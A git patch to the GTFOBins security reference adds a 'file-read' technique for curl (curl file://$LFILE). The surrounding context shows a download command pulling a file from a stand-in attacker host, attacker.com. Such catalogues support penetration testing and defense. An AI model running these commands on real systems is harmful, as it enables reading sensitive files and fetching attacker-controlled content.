From 7660674537f1820baed0e67f014f05aa2afe7997 Mon Sep 17 00:00:00 2001 From: Roman Mueller Date: Sun, 10 Jun 2018 10:49:59 +0200 Subject: [PATCH] Add file-read to curl --- _gtfobins/curl.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/_gtfobins/curl.md b/_gtfobins/curl.md index 8539b89..c14cc1b 100644 --- a/_gtfobins/curl.md +++ b/_gtfobins/curl.md @@ -12,4 +12,9 @@ functions: URL=http://attacker.com/file_to_get LFILE=file_to_save curl $URL -o $LFILE + file-read: + - description: The file path must be absolute. + code: | + LFILE=/tmp/file_to_read + curl file://$LFILE ---